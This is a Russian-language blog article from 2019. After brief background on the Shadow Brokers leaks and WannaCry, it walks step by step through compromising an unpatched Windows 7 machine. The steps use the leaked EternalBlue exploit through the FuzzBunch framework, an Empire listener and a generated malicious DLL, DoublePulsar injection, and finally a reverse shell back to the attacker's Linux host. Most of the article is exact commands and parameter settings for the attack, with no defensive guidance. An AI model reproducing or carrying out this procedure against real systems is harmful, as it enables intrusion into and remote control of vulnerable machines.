December 24, 2019

Применение ETERNALBLUE и DOUBLEPULSAR

Первая публикация состоялась летом 2016 года, а деятельность организации продолжается до сих пор. До этого времени Shadow Brokers несколько раз пытались продавать похищенные эксплоиты, но это было малоуспешно.

Shadow Brokers известны всем по публикациям секретных эксплоитов АНБ.


Тогда для демонстрации мощи они бесплатно выложили в сеть пачку эксплоитов. За короткое время на основе EternalBlue и DoublePulsar был создан всем известный шифровальщик WannaCry. Он быстро распространился миру и стал отличной рекламой для Shadow Brokers. Теперь на волне популярности они предпринимают ещё одну попытку монетизации: платная подписка. Она стоит 22000 долларов, а для её обладателей хакеры обещают ежемесячные дампы с интересными эксплоитами.


Мы не знаем, осталось ли у Shadow Brokers ещё что-то действительно интересное, но давайте сейчас посмотрим ближе на экслоит EternalBlue и бэкдор DoublePulsar. Их можно назвать козырями в арсенале АНБ. На момент публикации для атак EternalBlue уязвимыми были все версии Windows, начиная с Windows XP и заканчивая Windows Server 2016. Используя уязвимость протокола SMB, атакующая сторона способна исполнить произвольный код на компьютере жертвы. Чтобы атака была успешной, требуется только 2 условия: 445 порт на атакуемой машине должен быть досягаем, а ПО не получило обновление безопастности.


Давайте рассмотрим, как происходит сама атака. Для примера возьмём в качестве целевой машины компьютер с Windows 7. Нам самим понадобится две операционные системы: одна с Windows XP, другая Linix. Их можно запустить в виртуальной машине.

Для начала установим на машину с Windows XP Python 2.6. После установке не забудьте добавить путь к Python в PATH. Заетм установите PyWin32. В процессе установки не надо менять что-то и т.п., везде просто нажимаем кнопку далее. После установки python и PyWin32, устанавливаем FuzzBunch. Это фреймворк, который автоматизируем процесс атаки. После того, как всё установленно, приготовления на машине с Windows можно считать законченными. Теперь запустим сам FuzzBunch. Работа с ним происходит из консоли, поэтому после появления строчки с fb > пишем use EternalBlue. Далее нам будет предложено настроить некоторые параметры. Важными являются только 2 из них. Это TargetIp - IP атакуемой машины, в котором мы указываем IP машины с Windows 7, и Mode. Его мы устанавливаем в 1. После всех настроек будет предложено произвести атаку. Мы вводим yes, и, если всё прошло успешно, в консоли появится Eternalblue Succeeded. На этом этапе мы создали бекдор на атакуемой машине. Теперь передём к следующему этапу, в конце которого мы загрузим вредоносный dll на компьютер жертвы.


На этом этапе на машину с linux установим Empire. Установка достаточно простая: запускаем install.sh из папки Empire -> setup. Затем из той же папки запускаем setup_database.py. На этом всё, Empire установлен. С его помощью мы можем создавать вредоносные DLL. После установки запустите Empire. Первое, что нам нужно сделать - настроить входящие подключения. Вводим listeners в консоль. Затем вводим следующие команды:

set Name Eternal - задаём имя

set Host http://IP_OF_LINUX_MACHINE - IP нашей машины с Linux.

set Port 8080 - порт для подключения

После этого вводим execute. Если всё успешно, мы увидим сообщение [*] Listener 'Eternal' successfuly started. После этого переходим к созданию самой DLL. Вводим

usetarget dll Eternal

set Arch x64

execute

После этого в консоль будет выведен путь к сгенерированному dll. В его возможности входит создание реверс шела, так что мы можем получить удалённо доступ к машине. Осталось толко занести его на компьютер жертвы, используя бекдор, созданный на прошлом шаге.


Копируем dll на машину с Windows XP. В FuzzBunch вводим use DoublePulsar. Запустится процесс настройки. Оставляем всё по умолчанию кроме Architecture (ставим 1), Function (ставим 2) и DLLPayload (вводим путь к dll, который мы только что скопировали). После настройки фреймворк предложит сразу же запустить атаку. Вводим yes, и в случае успеха будет напечатано Doublepulsar Succeeded.


Всё, машина заражена. Нам осталось только подключиться к ней. Открываем Empire и вводим agents. Появится список из одного пункта. Скопируйте его имя и наберите следующую команду: interact СКОПИРОВАННОЕ_ИМЯ. Это откроет реверс шел соединение. Как вы видите, процесс очень автоматизирован и универсален. Учитывая, что количество машин, которые по тем или иным причинам не обновляются, подобная схема взлома будет актуальна ещё долгое время.